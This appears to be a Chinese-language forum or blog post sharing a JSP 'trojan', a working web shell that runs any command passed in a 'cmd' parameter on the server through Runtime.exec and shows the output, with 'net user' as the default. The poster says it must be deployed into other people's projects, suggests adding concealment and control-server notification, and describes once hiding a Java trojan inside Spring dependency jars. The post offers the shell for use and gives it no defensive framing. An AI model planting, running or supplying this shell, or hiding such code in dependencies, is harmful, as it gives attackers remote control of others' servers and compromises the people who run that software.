发一个大学时期在网上找到的 jsp 木马
怎么用?具体的不太清楚,但肯定要让别人部署到他们的项目中去。
而且,这个仅仅是一个草案。
更加完善的应该包括,隐藏,通知控制端,。。等等
以前写过一个 java 木马,我直接将木马模块给混在 spring 的依赖 jar 包里面了。
当然,我并没有去害过谁,我只是自己测试了一下,觉得蛮有意思的。
废话不多说,上代码:
<!--实现cmd功能的JSP小木马(作者:荔明奇(xgym))-->
<%@ page contentType="text/html;charset=gb2312"%>
<!--编码方式为gb2312(中文),否则会出现中文显示为乱码的情况-->
<%@ page import="java.io.*"%>
<!--引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作-->
<%
//定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;request是JSP中内置的对象,用来获取对象的值。
String strCmd_in = request.getParameter("cmd");
//定义字符串初始值为空的变量myLine,myLine是我们在界面输入框中的命令
String myLine = "";
//定义一个Buffer,用来读取我们的输入框中的命令并返回结果
StringBuffer strBufCmd = new StringBuffer("");
//如果strCmd_in不为Null就执行
if (strCmd_in != null)
{ /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/
try
{ //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了
Process pro = Runtime.getRuntime().exec("cmd /c " + strCmd_in);
//新建一个BufferedReader对象,用来读取我们输入的命令
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
while ((myLine = buf.readLine()) != null)
{
//获取到的命令追加到变量myLine后面并换行
strBufCmd.append(myLine + "\r\n");
}
}
catch (Exception e)
{
//如果发生异常就打印出来
System.out.println(e.toString());
}
}
else
{ //默认为我们的输入框中的命令
strCmd_in = "net user";
}
%>
<!--定义一个表单名称为cmd,method为post-->
<form name="cmd" action="" method="post">
<!--空格-->
<!--定义一个text类型的对象,用来做我们输入的框-->
<input type="text" name="cmd" value="<%=strCmd_in%>" size=50>
<!--提交我们的命令-->
<input type=submit name=submit value="执行命令">
</form>
<%
if (strBufCmd != null && strBufCmd.toString().trim().equals("") == false)
{
%>
<!--空格-->
<!--定义一个TEXTAREA类型的返回界面框,默认是20列-->
<TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>
<br>
<!--空格-->
<%
}
%>